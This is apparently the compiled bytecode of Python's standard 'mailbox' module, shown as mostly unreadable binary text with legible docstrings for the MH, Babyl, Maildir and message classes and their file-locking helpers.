r>r­rdrärrgrŒ)rÚ sequencesr©r‹r8ÚprevZ completingr#rrrÚ set_sequences�s.   zMH.set_sequencesc CsL|jƒ}d}g}xÎ|jƒD]Â}|d|krÔ|j||dfƒy4tjtjj|jt|ƒƒtjj|jt|dƒƒƒWnHt t fk r¸tj tjj|jt|ƒƒtjj|jt|dƒƒƒYnXtj tjj|jt|ƒƒƒ|d7}qW|d|_ t|ƒdkrúdSxB|jƒD]6\}}x*|D]"\}}||k�r|||j|ƒ<�qW�qW|j|ƒdS)z?Re-name messages to eliminate numbering gaps. Invalidates keys.rrWN)rr6r±rr•rrrrgr–r—r˜ÚunlinkrÖr­r>Úindexr$) rr"r#Zchangesr#r‹rÚoldr}rrrÚpack¬s,      zMH.packcCs||jƒ}|jƒ}x<|jƒD]0\}}||kr6|j|ƒq||kr||j|ƒ=qWx|D]}||krT|g||<qTW|j|ƒdS)z;Inspect a new MHMessage and update sequences appropriately.N)rr>r±r&r$)rr!r#Zpending_sequencesZ all_sequencesr‹rÚsequencerrrr Æs  zMH._dump_sequences)NT)rwrxryrzrr"r$r(r,r3r/r6r?r@rJrKrIrLr³rµr¸r¿rr$r(r rrrrr¤s. "  c@s�eZdZdZedddddddhƒZd%d d „Zd d„Zdd„Zdd„Z dd„Z dd„Z dd„Z dd„Z dd„Zdd„Zdd „Zd!d"„Zd#d$„Zd S)&rzAn Rmail-style Babyl mailbox.ÚunseenÚdeletedZfiledÚansweredÚ forwardedZeditedÚresentNTcCstj||||ƒi|_dS)zInitialize a Babyl mailbox.N)rÑrÚ_labels)rrrrrrrrÛszBabyl.__init__cCs(tj||ƒ}t|tƒr$|jƒ|j|<|S)z$Add message and return assigned key.)rÑr"r[r Ú get_labelsr/)rr!r#rrrr"às  z Babyl.addcCs"tj||ƒ||jkr|j|=dS)z=Remove the keyed message; raise KeyError if it doesn't exist.N)rÑr$r/)rr#rrrr$çs  z Babyl.removecCs*tj|||ƒt|tƒr&|jƒ|j|<dS)z>Replace the keyed message; raise KeyError if it doesn't exist.N)rÑr(r[r r0r/)rr#r!rrrr(ís zBabyl.__setitem__c Cs |j|ƒ\}}|jj|ƒ|jjƒtjƒ}x4|jjƒ}|dtksJ| rLP|j|jtdƒƒq.Wtjƒ}x0|jjƒ}|tks„| r†P|j|jtdƒƒqlW||jj ƒ}|dks¶t ‚|jj |ƒ}|jtdƒ}t |j ƒ|ƒ} | j|j ƒƒ||jk�r| j|j|ƒ| S)z4Return a Message representation or raise a KeyError.s *** EOOH ***rQr)r rÕrarnr\r]rcrdrbráràrSr rmÚ set_visibler/Ú set_labels) rr#rêrëÚoriginal_headersruZvisible_headersÚnZbodyrªrrrr,ós0        zBabyl.get_messagec CsÄ|j|ƒ\}}|jj|ƒ|jjƒtjƒ}x4|jjƒ}|dtksJ| rLP|j|jtdƒƒq.Wx|jjƒ}|tks|| rdPqdW|j ƒ}||jj ƒ}|dks¤t ‚|jj |ƒ}|jtdƒ}||S)z3Return a string representation or raise a KeyError.s *** EOOH ***rQr) r rÕrarnr\r]rcrdrbrmráràrS) rr#rêrër3ruZheadersr4rtrrrr3s&       zBabyl.get_bytescCstj|j|ƒjdtƒƒS)z6Return a file-like representation or raise a KeyError.rQ)r\r]r3rbrc)rr#rrrr/%szBabyl.get_filecCs@|jƒtƒ}x|jjƒD]}|j|ƒqW|j|jƒt|ƒS)z4Return a list of user-defined labels in the mailbox.)r rr/r<rHÚdifference_updateÚ_special_labelsr7)rÚlabelsZ label_listrrrr0)s  zBabyl.get_labelscCs>gg}}|jjdƒd}g}xÒ|}|jjƒ}|jjƒ}|dtkržt|ƒt|ƒkrf|j|ttƒƒ|j|ƒdd„|jjƒdd…jdƒDƒ}|j|ƒq |dks²|dtkrÖt|ƒt|ƒkrî|j|ttƒƒq |s |j|ttƒƒPq Wtt t ||ƒƒƒ|_ tt |ƒƒ|_ t|j ƒ|_ |jjdd ƒ|jjƒ|_dS) z0Generate key-to-(start, stop) table of contents.rs cSsg|]}|jƒr|jƒ‘qSr)Ústrip)rÚlabelrrrr@sz'Babyl._generate_toc..rWNó,órU)rÕrarnrárcr­r±r‘rrrrƒr/rÖrÚ)rrrrZ label_listsrrur7rrrrí2s4        zBabyl._generate_toccCsVdt}|dt7}|jƒ}dd„|Dƒ}|ddj|ƒt7}|d7}|j|ƒdS) z,Called before writing the mailbox to file f.sBABYL OPTIONS:s Version: 5css|]}|jƒVqdS)N)rM)rr9rrrrUsz*Babyl._pre_mailbox_hook..sLabels:r:r;N)rcr0rrd)rr©Zbabylr7rrrrãPs zBabyl._pre_mailbox_hookcCs|jdtƒdS)z-Called before writing each message to file f.ó N)rdrc)rr©rrrråZszBabyl._pre_message_hookcCs|jtdƒdS)z,Called after writing each message to file f.r;N)rdrc)rr©rrrrç^szBabyl._post_message_hookcCsœ|jjƒ}t|tƒr¼g}g}x0|jƒD]$}||jkr@|j|ƒq&|j|ƒq&W|jjdƒx |D]}|jjd|jƒƒq`W|jjdƒx$|D]}|jjd|jƒdƒqŽW|jjt ƒn|jjdt ƒt|t j j ƒ�r0t jƒ}t jj|ddƒ}|j|ƒ|jdƒx6|jƒ}|jj|jd t ƒƒ|d k�s8| �r P�q W|jjd t ƒt|tƒ�r¼t jƒ} t jj| ddƒ} | j|jƒƒxz| jƒ}|jj|jd t ƒƒ|d k�s²| �r„P�q„WnB|jdƒx6|jƒ}|jj|jd t ƒƒ|d k�sö| �rÈP�qÈWx,|jd ƒ} | �sP|jj| jd t ƒƒ�qW�nZt|ttt jfƒ�r,t|t jƒ�rhtjd td ƒ|jƒ}t|tƒ�r~|j|ƒ}|jdƒd} | ddk�r|jj|d| …jd t ƒƒ|jjd t ƒ|jj|d| …jd t ƒƒ|jj|| d…jd t ƒƒn(|jjd t t ƒ|jj|jd t ƒƒ�n^t |dƒ�rzt |dƒ�rXtjdtd ƒ|j!}|jƒ} d}x–|jƒ}|j"dƒ�rŒ|dd…d }n|j"dƒ�r¨|dd…d }|jj|jd t ƒƒ|d k�sÎ| �rf|�rôd}|jjd t ƒ|j| ƒnP�qfWxŒ|jƒ}|�sP|j"dƒ�r,|dd…t }n:|j"dƒ�rJ|dd…t }n|j"d ƒ�rf|dd…t }|jj|ƒ�qþWnt#dt$|ƒƒ‚|jjƒ}||fS)z0Write message contents and return (start, stop).ó1s, s,,ó r:s1,,FrrQs *** EOOH ***iz8Use of StringIO input is deprecated, use BytesIO insteadrRs rUrWNrnrTzDUse of text mode files is deprecated, use a binary mode file insteadTs rVzInvalid message type: %srZrYrZrYrZrZ)%rÕrár[r r0r6r±rdrMrcr1r!rr\r]r^r_r`rarnrbÚ get_visiblerSrhrgrirjrkrlrmrPrúrErTrfrprq)rr!rêZspecial_labelsr7r9Z orig_bufferZorig_generatorruZ vis_bufferZ vis_generatorrTZ body_startZ original_posZ first_passrërrrrîbsÀ                         zBabyl._install_message)NT)rwrxryrzÚ frozensetr6rr"r$r(r,r3r/r0rírãrårçrîrrrrrÕs      c@s*eZdZdZd dd„Zdd„Zdd„ZdS) rz0Message with mailbox-format-specific properties.NcCsÒt|tjjƒr4|jtj|ƒƒt|tƒrÎ|j|ƒnšt|tƒrP|jtj |ƒƒn~t|t ƒrl|jtj |ƒƒnbt|t j ƒrŠ|jtj|ƒƒnDt|dƒr¦|jtj|ƒƒn(|dkr¾tjjj|ƒntdt|ƒƒ‚dS)zInitialize a Message instance.rSNzInvalid message type: %s)r[r1r!rÚ_become_messageÚcopyÚdeepcopyÚ _explain_torhr2rgZmessage_from_stringr\Ú TextIOWrapperZmessage_from_filerEZmessage_from_binary_filerrprq)rr!rrrrÑs      zMessage.__init__cCs8t|dgƒ}x&|jD]}||kr|j||j|<qWdS)z0Assume the non-format-specific state of message.Ú_type_specific_attributesN)ÚgetattrÚ__dict__)rr!Z type_specificr‹rrrrAäs  zMessage._become_messagecCst|tƒrdStdƒ‚dS)z:Copy format-specific state to message insofar as possible.Nz Cannot convert to specified type)r[rrp)rr!rrrrDës zMessage._explain_to)N)rwrxryrzrrArDrrrrrÎs c@s|eZdZdZdddgZddd„Zdd „Zd d „Zd d „Zdd„Z dd„Z dd„Z dd„Z dd„Z dd„Zdd„Zdd„ZdS)r z)Message with Maildir-specific properties.Ú_subdirÚ_infoÚ_dateNcCs&d|_d|_tjƒ|_tj||ƒdS)z%Initialize a MaildirMessage instance.r}rˆN)rIrJrÀrKrr)rr!rrrrøs zMaildirMessage.__init__cCs|jS)zReturn 'new' or 'cur'.)rI)rrrrr�ÿszMaildirMessage.get_subdircCs(|dks|dkr||_n td|ƒ‚dS)zSet subdir to 'new' or 'cur'.r}r~z!subdir must be 'new' or 'cur': %sN)rIrO)rr›rrrr¥szMaildirMessage.set_subdircCs"|jjdƒr|jdd…SdSdS)z*Return as a string the flags that are set.z2,rUNrˆ)rJro)rrrrÚ get_flags s zMaildirMessage.get_flagscCsddjt|ƒƒ|_dS)z)Set the given flags and unset all others.z2,rˆN)rrärJ)rÚflagsrrrÚ set_flagsszMaildirMessage.set_flagscCs$|jdjt|jƒƒt|ƒBƒƒdS)z.Set the given flag(s) without changing others.rˆN)rNrrrL)rÚflagrrrÚadd_flagszMaildirMessage.add_flagcCs,|jƒr(|jdjt|jƒƒt|ƒƒƒdS)z7Unset the given string flag(s) without changing others.rˆN)rLrNrr)rrOrrrÚ remove_flagszMaildirMessage.remove_flagcCs|jS)zSet "From " line, formatting and appending time_ if specified.NTú )rÀrÿrþr_)rrøZtime_rrrrórs z_mboxMMDFMessage.set_fromcCs|jddƒ|jddƒS)z*Return as a string the flags that are set.ÚStatusrˆzX-Status)r+)rrrrrLzsz_mboxMMDFMessage.get_flagscCsÚt|ƒ}d \}}x&d D]}||kr||7}|j|ƒqWx&d D]}||kr>||7}|j|ƒq>W|djt|ƒƒ7}y|jd|ƒWn tk r¢|jd|ƒYnXy|jd|ƒWn tk rÔ|jd|ƒYnXd S) z)Set the given flags and unset all others.rˆrUrVrXrYrZrazX-StatusN)rˆrˆ)rUrV)rXrYrZ)rr$rräÚreplace_headerr&Z add_header)rrMZ status_flagsZ xstatus_flagsrOrrrrN~s&  z_mboxMMDFMessage.set_flagscCs$|jdjt|jƒƒt|ƒBƒƒdS)z.Set the given flag(s) without changing others.rˆN)rNrrrL)rrOrrrrP”sz_mboxMMDFMessage.add_flagcCs4d|ksd|kr0|jdjt|jƒƒt|ƒƒƒdS)z7Unset the given string flag(s) without changing others.razX-StatusrˆN)rNrrrL)rrOrrrrQ˜sz_mboxMMDFMessage.remove_flagc CsÞt|tƒrÐt|jƒƒ}d|kr(|jdƒd|kr:|jdƒd|krL|jdƒd|kr^|jdƒd|krp|jdƒ|d =|d =d j|jƒjƒdd …ƒ}y|j t j t j |dƒƒƒWnttfk rÊYnX�n t|tƒrø|j|jƒƒ|j|jƒƒnât|tƒ�rZt|jƒƒ}d|k�r$|jdƒd|k�r8|jdƒd|k�rL|jdƒ|d =|d =n€t|tƒ�r¼t|jƒƒ}d|k�r†|jdƒd|k�rš|jdƒd|k�r®|jdƒ|d =|d =nt|tƒ�rÊntdt|ƒƒ‚d S)zACopy mbox- or MMDF-specific state to message insofar as possible.rVr~rYrZrUrTrXrWZstatuszx-statusr`rXNz%a %b %d %H:%M:%S %Yr*r[r\r+r,z$Cannot convert to specified type: %séûÿÿÿ)r[r rrLr¥rPrrür‘r§ÚcalendarZtimegmrÀZstrptimerOÚ OverflowErrorrûrNrór rr r^rrprq)rr!rMZ maybe_daterrrrD�s^                          z_mboxMMDFMessage._explain_to)N)N) rwrxryrzrFrrürórLrNrPrQrDrrrrrû`s  rûc@seZdZdZdS)r z&Message with mbox-specific properties.N)rwrxryrzrrrrr Ñsc@sHeZdZdZdgZddd„Zdd„Zdd „Zd d „Zd d „Z dd„Z dS)r z$Message with MH-specific properties.Ú _sequencesNcCsg|_tj||ƒdS)z!Initialize an MHMessage instance.N)rfrr)rr!rrrrÚszMHMessage.__init__cCs|jdd…S)z4Return a list of sequences that include the message.N)rf)rrrrrßszMHMessage.get_sequencescCst|ƒ|_dS)z3Set the list of sequences that include the message.N)r7rf)rr"rrrr$ãszMHMessage.set_sequencescCs6t|tƒr"||jkr2|jj|ƒntdt|ƒƒ‚dS)z8Add sequence to list of sequences including the message.zsequence type must be str: %sN)r[rgrfr±rprq)rr)rrrrçs  zMHMessage.add_sequencec Cs*y|jj|ƒWntk r$YnXdS)zARemove sequence from the list of sequences including the message.N)rfr$rO)rr)rrrÚremove_sequenceïszMHMessage.remove_sequencecCsJt|tƒrdt|jƒƒ}d|kr*|jdƒn|jdƒ|jdƒd|krP|jdƒd|krb|jdƒnât|tƒr¾t|jƒƒ}d|krŽ|jdƒn |jd ƒd|krª|jdƒd|kr¼|jd ƒnˆt|tƒræx||jƒD]}|j|ƒqÒWn`t|t ƒ�r(t|jƒƒ}d|k�r|j dƒd|k�rF|j d ƒnt|t ƒ�r6nt d t |ƒƒ‚d S)z6Copy MH-specific state to message insofar as possible.r*r~rTr\rYr[rUÚROrVrZr,z$Cannot convert to specified type: %sN)r[r rrr¥rPrûr rr r^rrprq)rr!r"r)rrrrDös@                     zMHMessage._explain_to)N) rwrxryrzrFrrr$rrgrDrrrrr Õs c@sbeZdZdZddgZddd„Zdd„Zd d „Zd d „Zd d„Z dd„Z dd„Z dd„Z dd„Z dS)r z'Message with Babyl-specific properties.r/Ú_visibleNcCsg|_tƒ|_tj||ƒdS)z#Initialize a BabylMessage instance.N)r/rrir)rr!rrrr"szBabylMessage.__init__cCs|jdd…S)z'Return a list of labels on the message.N)r/)rrrrr0(szBabylMessage.get_labelscCst|ƒ|_dS)z&Set the list of labels on the message.N)r7r/)rr7rrrr2,szBabylMessage.set_labelscCs6t|tƒr"||jkr2|jj|ƒntdt|ƒƒ‚dS)z+Add label to list of labels on the message.zlabel must be a string: %sN)r[rgr/r±rprq)rr9rrrr^0s  zBabylMessage.add_labelc Cs*y|jj|ƒWntk r$YnXdS)z4Remove label from the list of labels on the message.N)r/r$rO)rr9rrrÚ remove_label8szBabylMessage.remove_labelcCs t|jƒS)z3Return a Message representation of visible headers.)rri)rrrrr??szBabylMessage.get_visiblecCst|ƒ|_dS)z2Set the Message representation of visible headers.N)rri)rZvisiblerrrr1CszBabylMessage.set_visiblecCsjx6|jjƒD](}||kr,|jj|||ƒq |j|=q Wx,dD]$}||kr>||jkr>|||j|<q>WdS) z9Update and/or sensibly generate a set of visible headers.ÚDateÚFromúReply-ToÚToÚCCÚSubjectN)rkrlrmrnrorp)rir8rb)rÚheaderrrrÚupdate_visibleGs  zBabylMessage.update_visiblecCsvt|tƒr~t|jƒƒ}d|kr*|jdƒn|jdƒ|jdƒd|ksNd|krX|jdƒd|krj|jdƒd |kr||jd ƒnôt|tƒrØt|jƒƒ}d|kr¨|jd ƒn |jd ƒd |krÄ|jd ƒd|krÖ|jdƒnšt|tƒ�rt|jƒƒ}d|k�r|jdƒd|k�rr|jdƒnXt|t ƒ�rT|j |j ƒƒx<|jƒD]}|j |ƒ�q>Wnt|t ƒ�rbntdt|ƒƒ‚dS)z9Copy Babyl-specific state to message insofar as possible.r*r~rTr-r.r]r,rUr+rWrhrVrXrZr[z$Cannot convert to specified type: %sN)r[r rr0r¥rPrûr rr r1r?r^rrprq)rr!r7r9rrrrDRsF                      zBabylMessage._explain_to)N)rwrxryrzrFrr0r2r^rjr?r1rrrDrrrrr s  c@seZdZdZdS)r z&Message with MMDF-specific properties.N)rwrxryrzrrrrr |sc@s¨eZdZdZd&dd„Zd'dd„Zd(dd„Zd)d d „Zd*d d „Zd d„Z dd„Z d+dd„Z dd„Z dd„Z dd„Zdd„Zdd„Zdd„Zd d!„Zd"d#„Zed$d%„ƒZdS),r«zA read-only wrapper of a file.NcCs$||_|dkr|jƒ|_n||_dS)zInitialize a _ProxyFile.N)rÕráÚ_pos)rr©Úposrrrrƒs z_ProxyFile.__init__cCs|j||jjƒS)z Read bytes.)Ú_readrÕrS)rÚsizerrrrS‹sz_ProxyFile.readcCs|j||jjƒS)z Read bytes.)rurÕÚread1)rrvrrrrw�sz_ProxyFile.read1cCs|j||jjƒS)z Read a line.)rurÕrn)rrvrrrrn“sz_ProxyFile.readlinecCs>g}x4|D],}|j|ƒ|dk r |t|ƒ8}|dkr Pq W|S)zRead multiple lines.Nr)r±r­)rÚsizehintrBrurrrÚ readlines—s   z_ProxyFile.readlinesccs x|jƒ}|sdS|VqWdS)zIterate over lines.N)rn)rrurrrr;¢s z_ProxyFile.__iter__cCs|jS)zReturn the position.)rs)rrrrráªsz_ProxyFile.tellrcCs4|dkr|jj|jƒ|jj||ƒ|jjƒ|_dS)zChange position.rWN)rÕrarsrá)rÚoffsetÚwhencerrrra®sz_ProxyFile.seekc Cs0t|dƒr,zt|jdƒr"|jjƒWd|`XdS)zClose the file.rÕrLN)rErÕrL)rrrrrLµs   z_ProxyFile.closecCs2|dkr d}|jj|jƒ||ƒ}|jjƒ|_|S)z"Read size bytes using read_method.NrWrZ)rÕrarsrá)rrvÚ read_methodrBrrrru¾s  z_ProxyFile._readcCs|S)z$Context management protocol support.r)rrrrÚ __enter__Çsz_ProxyFile.__enter__cGs |jƒdS)N)rL)rÚexcrrrÚ__exit__Ësz_ProxyFile.__exit__cCs |jjƒS)N)rÕÚreadable)rrrrr€Îsz_ProxyFile.readablecCs |jjƒS)N)rÕÚwritable)rrrrr�Ñsz_ProxyFile.writablecCs |jjƒS)N)rÕÚseekable)rrrrr‚Ôsz_ProxyFile.seekablecCs |jjƒS)N)rÕrI)rrrrrI×sz_ProxyFile.flushcCs&t|dƒsdSt|jdƒsdS|jjS)NrÕTr F)rErÕr )rrrrr Ús   z_ProxyFile.closed)N)N)N)N)N)r)rwrxryrzrrSrwrnryr;rárarLrur}rr€r�r‚rIÚpropertyr rrrrr«€s$        r«c@s<eZdZdZddd„Zdd„Zddd „Zd d „Zd d „ZdS)rùz&A read-only wrapper of part of a file.NcCstj|||ƒ||_||_dS)zInitialize a _PartialFile.N)r«rÚ_startÚ_stop)rr©rêrërrrræsz_PartialFile.__init__cCstj|ƒ|jS)z*Return the position with respect to start.)r«rár„)rrrrráìsz_PartialFile.tellrcCs<|dkr|j|_d}n|dkr*|j|_d}tj|||ƒdS)z8Change position, possibly with respect to start or stop.rrWrUN)r„rsr…r«ra)rrzr{rrrraðsz_PartialFile.seekcCsB|j|j}|dkrdS|dks0|dks0||kr4|}tj|||ƒS)z;Read size bytes using read_method, honoring start and stop.rrñN)r…rsr«ru)rrvr|Z remainingrrrruús  z_PartialFile._readcCst|dƒr|`dS)NrÕ)rErÕ)rrrrrLs z_PartialFile.close)NN)r) rwrxryrzrrárarurLrrrrrùãs    rùTc4Csžd}�yZtrpytj|tjtjBƒWnJtk rn}z.|jtjtjtjfkr\t d|j ƒ‚n‚WYdd}~XnX|�r^yt |j dƒ}|j ƒWn:tk rÊ}z|jtjtjfkr¸dS‚WYdd}~XnXy`yt j|j |j dƒd}Wn2ttfk �rt j|j |j dƒd}YnXt j|j ƒWn0tk �r\t j|j ƒt d|j ƒ‚YnXWn8t�r|tj|tjƒ|�r’t j|j dƒ‚YnXdS)z(Lock file f using lockf and dot locking.Fzlockf: lock unavailable: %sNz.lockTzdot lock unavailable: %s)ÚfcntlÚlockfZLOCK_EXZLOCK_NBr™ršZEAGAINrÓrÔrr‹rârLrr•r–r—r˜r%rËr$ÚLOCK_UN)r©rÞZ dotlock_donerŸZpre_lockrrrrÜ sH    rÜcCs8trtj|tjƒtjj|jdƒr4tj|jdƒdS)z*Unlock file f using lockf and dot locking.z.lockN)r†r‡rˆrrr�r‹r$)r©rrrrÝ4srÝc Cs8tj|tjtjBtjBdƒ}z t|dƒStj|ƒXdS)zCCreate a file if it doesn't exist and open for reading and writing.i¶zrb+N)rr¤r¶r ÚO_RDWRrL)rÚfdrrrrÊ;s rÊcCs$td|ttjƒƒtjƒtjƒfƒS)zBCreate a temp file based on path and open for reading and writing.z %s.%s.%s.%s)rÊrÆrÀrÄrÅrrÇ)rrrrrâCsrâcCs$|jƒttdƒr tj|jƒƒdS)z0Ensure changes to file f are physically on disk.ÚfsyncN)rIrErr‹Úfileno)r©rrrrßIs rßcCst|ƒ|jƒdS)z:Close file f, ensuring all changes are physically on disk.N)rßrL)r©rrrrŒOsrŒc@seZdZdZdS)rz"Raised for module-specific errors.N)rwrxryrzrrrrrUsc@seZdZdZdS)rz:The specified mailbox does not exist and won't be created.N)rwrxryrzrrrrrXsc@seZdZdZdS)rz>The specified mailbox is not empty and deletion was requested.N)rwrxryrzrrrrr[sc@seZdZdZdS)rz)Another process caused an action to fail.N)rwrxryrzrrrrr^sc@seZdZdZdS)rz)A file appears to have an invalid format.N)rwrxryrzrrrrras)T)0rzrrÀrdrÄršrBrjr1Z email.messageZemail.generatorr\r-r†Ú ImportErrorÚ__all__rcrMrrrÑrðrrrrr!rr rûr r r r r«rùrÜrÝrÊrârßrŒÚ ExceptionrrrrrrrrrÚsp     h8DB4-3z%mqH_c' *